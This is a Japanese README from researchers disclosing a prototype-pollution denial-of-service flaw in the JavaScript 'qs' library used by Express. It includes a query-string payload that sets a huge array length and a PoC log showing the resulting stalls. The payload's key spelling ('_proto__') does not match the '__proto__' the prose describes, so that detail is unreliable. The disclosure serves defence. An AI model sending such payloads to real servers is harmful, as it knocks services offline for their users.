
このリポジトリには、2021年12月にJSライブラリ「qs」で発見した脆弱性のエクスプロイトサンプルが含まれています。
脆弱なバージョンの「qs」では、出力JSオブジェクトに「proto」プロパティを作成することができます。
「__ proto__」プロパティにArrayを設定することで、「配列のような」オブジェクトを作成することができました。
結果として得られるオブジェクトは「Array」プロトタイプを継承するため、ネイティブのArray関数を公開します。
しかし、それらは依然としてオブジェクトであるため、「qs」ではそれらに「length」プロパティを設定することができます。
例として、次のペイロードはこの種の「悪意のある」配列を作成します:
categories[_proto__]&categories[_proto__]&categories[length]=100000000
したがって、それらに不合理な「length」値を設定すると、Nodeプロセスがそれらを文字列値に変換しようとしたり、ほとんどのネイティブArray関数を呼び出そうとした瞬間にフリーズします。
これにより、デフォルトのExpress構成で、強力な検証システムがない状態で脆弱なバージョンの「qs」を使用しているすべてのNodeアプリケーションが、アプリケーションDoS攻撃に対して露出します。
以下は、./express-qs-string-bomb にあるPoCのログの例です:
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
私たちの分析により、他の悪用方法も可能であることが判明しました。
それらのいくつかは、./qs-vulns ディレクトリで説明しています。
BRAUN Nathanael & BRISSAUD Johan
EY Security(フランス)所属